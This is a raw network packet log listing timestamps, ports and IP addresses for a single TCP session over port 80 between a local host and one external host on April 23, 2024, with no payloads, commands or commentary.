Apr 23, 2024 09:33:04.732688904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732705116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732705116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732726097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732760906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732773066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732773066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732793093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732820034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732829094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732866049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732877970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732877970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732903004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732939005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:04.732940912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732983112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.732983112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.773627996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:04.979393005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081775904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081813097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081830025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081840992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081846952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081856966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081864119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081871033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081876993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.081883907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.085131884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.085131884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132467031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132548094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132586002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132589102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132637024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132637024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132647038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132683992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132736921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132736921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132739067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132788897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132823944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132832050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132832050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132859945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132885933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132895947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132929087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132941961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132941961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.132963896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.132998943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133008957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133008957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133033991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133065939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133069038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133105993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133105993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133109093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133143902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133177042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133194923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133194923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133212090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133236885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133248091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133282900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133282900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133315086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.133331060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133331060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.133420944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183330059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183378935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183414936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183450937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183486938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183502913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183502913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183521032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183556080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183590889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183602095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183602095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183629036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183670998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183681011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183681011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183708906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183743954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183753967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183753967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183779001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183811903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183819056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183819056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183846951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183881998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183887005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183887005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183917046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183949947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.183959961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183959961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.183988094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184022903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184026957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184026957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184057951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184088945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184108019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184108019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184134960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184144020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184180021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184215069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184221029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184221029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184248924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184284925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184289932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184289932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184322119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184356928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184364080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184364080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184391975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184427023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184431076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184431076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184462070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184494019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184497118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184497118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184529066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184566021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184568882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184568882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184601068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184633017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184669971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184672117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184672117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184705973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184741974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.184751987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.184751987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.185324907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.780267954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.780267954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:05.988435984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:05.988459110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.113249063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.113395929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.150949955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.357048035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.462744951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.462802887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.462840080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.462997913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.465667963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.671255112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.782243013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.782346964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:06.782437086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.782437086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.816898108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:06.816940069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.022562027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.022624016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.149003029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.149122000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.155941963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.155975103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.361360073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.361377954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.485517025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.485580921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.497504950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.497533083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:07.702996969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.703022003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.827749014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:07.827846050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.043648005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.043689013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.249197960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.249218941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.379760027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.380009890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.389648914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.389694929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:08.595093012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.595113039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.717700958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:08.717781067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.098197937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.098236084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.306201935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.306226015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.435780048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.435925007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.448039055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.448087931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.653681993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.653704882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.799762964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:09.799912930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.995152950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:09.995202065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.201344013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.201368093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.331582069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.331707954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.340395927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.340437889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.546175957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.546200991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.675748110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.675827026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.682631016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.682674885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:10.888022900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:10.888075113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.014930010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.015039921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.027602911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.027631998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.233138084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.233160973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.233171940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.357353926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.357413054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.362843037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.362871885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.568263054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.568288088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.568299055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.691257000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:11.691323042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.816678047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:11.816962004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.022214890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.022344112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.146521091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.146611929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.152936935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.152936935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.358352900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.358397007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.483463049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.483629942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.491195917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.491221905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.696530104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.696547985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.819612980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:12.819669962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.837898016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:12.838071108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.043196917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.043385029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.167145967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.167220116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.175395966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.175717115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.380824089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.381091118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.505309105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.505384922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.512233019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.512383938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.717688084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.717761993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.859997988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:13.860122919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.881249905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:13.881249905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.089951992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.090033054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.211352110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.213543892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.220117092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.220220089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.425683022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.425709963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.551291943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.551384926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.556891918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.556891918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.765285969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.891968966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:14.892024994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.897382975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:14.897453070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.103044033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.230201006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.230355978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.235310078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.235342026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.444246054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.444272995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.570506096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.570594072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.577239990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.577266932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.783560038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.913901091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:15.915010929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.923222065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:15.924061060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.133151054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.133660078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.258035898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.258337975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.263387918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.263387918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.469089031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.596689939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.596920967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.604552031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.604552031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.813720942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.813746929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.939361095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:16.939460993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.945425987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:16.945449114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:17.150913954 CEST	80	49704	185.172.128.76	192.168.2.5
